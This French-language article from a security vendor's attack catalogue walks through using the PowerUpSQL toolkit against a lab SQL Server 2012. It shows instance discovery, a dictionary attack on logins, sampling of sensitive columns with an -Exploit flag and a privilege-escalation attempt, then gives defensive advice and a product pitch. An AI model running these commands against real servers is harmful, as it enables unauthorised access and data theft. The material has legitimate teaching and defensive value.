Magic Quadrant™ pour la gestion des accès privilégiés 2025 : Netwrix reconnue pour la quatrième année consécutive. Téléchargez le rapport.

Plateforme
Glossaire de la cybersécuritéCatalogue d'attaques
Compromettre SQL Server avec PowerUpSQL

Compromettre SQL Server avec PowerUpSQL

Si vous recherchez une boîte à outils pour maîtriser Microsoft SQL Server de bout en bout, ce qu'il vous faut est PowerUpSQL. Implémenté en PowerShell et aussi complet que possible, PowerUpSQL possède des outils pour découvrir, compromettre et s'approprier pratiquement n'importe quel système SQL. C'est toute la chaîne d'attaque dans un seul outil. Cet article détaille comment réaliser les étapes d'attaque critiques en utilisant PowerUpSQL.

Contenu connexe sélectionné :

Notez que nous avons eu des résultats très mitigés avec le système que nous utilisions, une version très basique de MS SQL 2012. Nous nous assurerons de souligner où nos résultats ont varié avec et sans droits d'administrateur système. Si vous avez besoin de conseils pour obtenir des droits d'administrateur au niveau du système, consultez notre catalogue de techniques for attacking core AD infrastructure et nos articles sur AD service account attacks, attacks that exploit misconfigured permissions et notre series on Mimikatz attacks.

Découverte

      To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:

PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose

VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...

VERBOSE: Parsing SQL Server instances from SPNs...

VERBOSE: 2 instances were found.

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com,1433

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com:1433

LastLogon : 1/9/2018 7:10 AM

Description :

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com

LastLogon : 1/9/2018 7:10 AM
      

Description :

Il existe également Get-SQLInstanceLocal, qui effectuera le même type de découverte mais uniquement sur l'instance locale. La version pour le domaine est plus bruyante, mais si vous n'avez qu'un seul point d'attaque sur le réseau, cela répondra à vos besoins. Si vous contrôlez une plus grande partie du réseau et que vous souhaitez émettre moins de signaux, exécuter la version locale sur chaque système fera l'affaire. Dans ce cas, nous avons pu obtenir des résultats similaires lorsque nous étions un utilisateur normal ou un Administrateur de Domaine.

Sélection de la cible

Une fois que vous avez quelques systèmes MS SQL que vous souhaitez cibler — ou que vous en avez beaucoup et que vous essayez de déterminer lesquels sont les meilleures cibles — vous voudrez peut-être en savoir plus sur chacun d'entre eux. Get?SQLServerInfo vous donnera un aperçu des informations utiles sur votre cible potentielle. Notez que nous avons semblé avoir besoin de droits d'administrateur pour obtenir de bons résultats.

      PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo

ComputerName : APP02

Instance : APP02

DomainName : SBCLOUDLAB

ServiceProcessID : 4980

ServiceName : MSSQLSERVER

ServiceAccount : NT ServiceMSSQLSERVER

AuthenticationMode : Windows and SQL Server Authentication

Clustered : No

SQLServerVersionNumber : 11.0.2100.60

SQLServerMajorVersion : 2012

SQLServerEdition : Standard Edition (64-bit)

SQLServerServicePack : RTM

OSArchitecture : X64

OsMachineType : ServerNT

OSVersionName : Windows Server 2012 R2 Standard

OsVersionNumber : 6.2

Currentlogin : SBCLOUDLABjonathan

IsSysadmin : Yes

ActiveSessions : 1
      

Cet exemple met en avant l'une des meilleures fonctionnalités de PowerUpSQL : le support du piping. Comme vous pouvez le voir, nous redirigeons les résultats de Get-SQLInstanceLocal vers Get-SQLServerInfo, ainsi avec une seule commande, nous pouvons obtenir les résultats pour toutes les instances SQL sur le serveur. De manière plus générale, vous pouvez utiliser cette fonctionnalité pour construire facilement des scripts de cracking qui exécutent des opérations compliquées rapidement.

Trouver des exploits et des données sensibles

En utilisant ce que nous apprenons de Get-SQLServerInfo, nous pourrions aller aux bibliothèques standard de menaces et de vulnérabilités et prendre quelque chose à utiliser pour exploiter ce système. Mais ce n'est pas nécessaire — PowerUpSQL a un autre tour de force dans sa manche. La Invoke-SQLAudit applet de commande fera littéralement tout le travail de piratage pour vous. Elle vérifie à peu près toutes les méthodes standards pour s'introduire dans une base de données, trouver des informations sensibles et les exfiltrer sous une forme que vous pouvez emporter.

Lorsque vous l'invoquez, vous verrez d'abord un déferlement de résultats comme ceci :

      PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: LOADING VULNERABILITY CHECKS.

VERBOSE: RUNNING VULNERABILITY CHECKS.

VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : No named instance found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com - Getting supplied login...

VERBOSE: APP02.sbcloudlab.com - Getting list of logins...

VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =

##MS_PolicyEventProcessingLogin##

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =

##MS_PolicyTsqlExecutionLogin##

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...

<snip>
      

Mais ce n'est que le début pour Invoke-SQLAudit. Après avoir effectué tous les contrôles de niveau de permission, il vérifie une par une les vulnérabilités spécifiques et connues et rapporte ce qu'il trouve pour chacune :

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database master was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database tempdb was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Lire les résultats de ce cmdlet, indépendamment de la vulnérabilité de votre cible, est comme un cours magistral sur les exploits de SQL Server. De plus, les auteurs ont laissé la boîte à outils ouverte pour des extensions au fur et à mesure que de nouvelles vulnérabilités et exploits sont découverts. Nous devrions donc nous attendre à voir cette liste s'allonger avec le temps.

Et ce n'est pas tout. Une fois qu'il a traité les vulnérabilités, il essaie de trouver des données que vous pourriez vouloir voler :

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Ces résultats (légèrement expurgés pour des raisons évidentes) n'étaient que deux parmi des dizaines trouvés dans notre cible. Les auteurs consomment même leur propre produit alors qu'ils font cela. Ces résultats ont été trouvés en utilisant le cmdlet “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit”, comme indiqué dans les résultats.

Élévation de privilèges

L'une des déceptions lors de l'utilisation de PowerUpSQL était que la très puissante Invoke-SQLEscalatePriv n'a jamais fonctionné pour nous. Nous avons essayé différents utilisateurs, hôtes, types d'exécution (locale et à distance) et sortes de droits, mais cela n'a jamais permis d'augmenter les privilèges de l'utilisateur. La raison semble être les paramètres par défaut dans MS SQL 2012 Enterprise Edition. Voici ce que nous avons observé lors de l'exécution en tant qu'utilisateur non-administrateur :

      PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s

bcloudlab.com"

PS C:PowerUpSQL-master>

When we run as admin, we get these correct but unexciting results:

PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...

VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)

PS C:PowerUpSQL-master>
      

En ligne, il semble que cette cmdlet fonctionne pour beaucoup d'autres.

Autres fonctionnalités

On peut facilement imaginer utiliser cet outil pour avoir une idée des cibles à atteindre puis se concentrer dessus. Nous construirions un script, en tirant largement parti du piping pour trouver où nous avons le plus de droits, puis nous nous concentrerions sur les données sensibles dans chacun de ces emplacements.

Nous pensons toujours en termes d'exfiltration, mais peut-être que votre objectif est la possession du système ? PowerUpSQL offre également des voies pour cela, mais nous examinerons comment faire cela dans le prochain article. En effet, il y a tellement de choses dans PowerUpSQL que nous pourrions continuer beaucoup plus longtemps. Cependant, les auteurs ont déjà fait un bon travail pour couvrir leur outil donc nous nous arrêterons ici.

Défense contre PowerUpSQL

Voyons maintenant ce que vous pouvez faire pour vous défendre contre PowerUpSQL. La mauvaise nouvelle pour notre amusement était une bonne nouvelle pour nos données : de nombreuses actions dans PowerUpSQL semblent nécessiter des droits d'administrateur, qui sont gérés par la posture de sécurité par défaut de SQL 2012 Enterprise Edition. Cependant, les droits d'administrateur sont tellement faciles à pirater dans la plupart des entreprises de nos jours que cela semble être un faible obstacle au succès.

Néanmoins, il existe des mesures éprouvées que vous pouvez prendre pour aider à protéger votre organisation :

  • Appliquez un modèle de moindre privilège pour SQL Server. Les administrateurs locaux et de domaine ont-ils vraiment besoin d'être administrateurs de base de données SQL et sysadmins également ? Élaborez une politique écrite claire qui détaille pourquoi et quand cela est nécessaire. Maintenir ces fonctions administratives distinctes empêchera qu'une compromission de l'une entraîne la compromission de l'autre.
  • Enquêtez sur l'impact sécuritaire de tout changement apporté aux paramètres système SQL. Les fournisseurs d'applications exigent souvent des modifications des paramètres de sécurité juste pour économiser quelques étapes — et ces étapes peuvent faire la différence entre la sécurité et la compromission. Une manière de le découvrir est d'exécuter un PowerUpSQL audit avant et après avoir effectué de tels changements sur vos systèmes de test et de comparer les résultats.
  • Assurez-vous que tous les mots de passe et les données sensibles soient masqués, hachés ou chiffrés. Si les méchants en ont après vos données, c'est votre meilleur moyen de les empêcher de les obtenir. Les systèmes seront toujours vulnérables, mais un bon chiffrement est un mur de briques pour tous sauf les ennemis les plus sophistiqués. Si ce type d'adversaire en a après vos données, alors vous avez des préoccupations d'un ordre supérieur.
  • Dans la mesure du possible, évitez les configurations risquées telles que l'enchaînement de propriété de bases de données. Comme pour les modifications de paramètres, les fonctionnalités au niveau de la base de données comme celle-ci sont souvent utilisées uniquement pour faire gagner du temps aux développeurs. Assurez-vous qu'il y ait au moins une prise en compte des risques lorsque ces configurations sont envisagées. Souvent, la partie la plus difficile est de découvrir où et quand ces conversations ont lieu et de les influencer.
  • Assurez-vous que vos systèmes soient mis à jour selon un calendrier qui les maintient aussi actuels que possible. Cela peut être le conseil le plus répété en matière de sécurité, mais c'est vrai. Beaucoup de vulnérabilités testées ici auraient été résolues par une mise à jour appropriée. Les correctifs ne résolvent pas tous vos problèmes de sécurité, mais ils évitent ce grand vide dans votre estomac lorsque les choses tournent mal et que vous savez que cela aurait pu être (ou était absolument) dû à un correctif manquant.

Comment Netwrix peut aider

Les bases de données contiennent souvent des informations hautement sensibles, ce qui en fait une cible privilégiée pour les attaquants. Pour une sécurité renforcée, les administrateurs de bases de données ont besoin d'une visibilité sur leur empreinte SQL complète, à la fois dans les centres de données sur site et dans le cloud. Netwrix StealthAUDIT révèle automatiquement où se trouvent les bases de données SQL, qui y a accès, comment cet accès a été obtenu, qui ou quoi utilise ses privilèges d'accès, où résident les informations sensibles et comment chaque base de données a été configurée.

Partager sur

Voir les attaques de cybersécurité associées

Abus des autorisations d'application Entra ID – Fonctionnement et stratégies de défense

Modification de AdminSDHolder – Fonctionnement et stratégies de défense

Attaque AS-REP Roasting - Fonctionnement et stratégies de défense

Attaque Hafnium - Fonctionnement et stratégies de défense

Attaques DCSync expliquées : Menace pour la sécurité d'Active Directory

Attaque Pass the Hash

Comprendre les attaques Golden Ticket

Attaque des comptes de service gérés par groupe

Attaque DCShadow – Fonctionnement, exemples concrets et stratégies de défense

Injection de prompt ChatGPT : Comprendre les risques, exemples et prévention

Attaque d'extraction de mot de passe NTDS.dit

Attaque Kerberoasting – Fonctionnement et stratégies de défense

Explication de l'attaque Pass-the-Ticket : Risques, Exemples et Stratégies de Défense

Attaque par pulvérisation de mots de passe

Attaque d'extraction de mot de passe en clair

Vulnérabilité Zerologon expliquée : Risques, Exploits et Atténuation

Attaques de rançongiciels sur Active Directory

Déverrouillage d'Active Directory avec l'attaque Skeleton Key

Mouvement latéral : Qu'est-ce que c'est, comment ça fonctionne et préventions

Attaques de l'homme du milieu (MITM) : ce qu'elles sont et comment les prévenir

Attaque Silver Ticket

4 attaques de compte de service et comment s'en protéger

Pourquoi PowerShell est-il si populaire auprès des attaquants ?

Comment prévenir les attaques de logiciels malveillants d'affecter votre entreprise

Qu'est-ce que le Credential Stuffing ?

Qu'est-ce que les attaques de Mousejacking et comment se défendre contre elles

Vol de credentials avec un fournisseur de support de sécurité (SSP)

Contournement de l'authentification multifacteur avec l'attaque Pass-the-Cookie

Attaque Golden SAML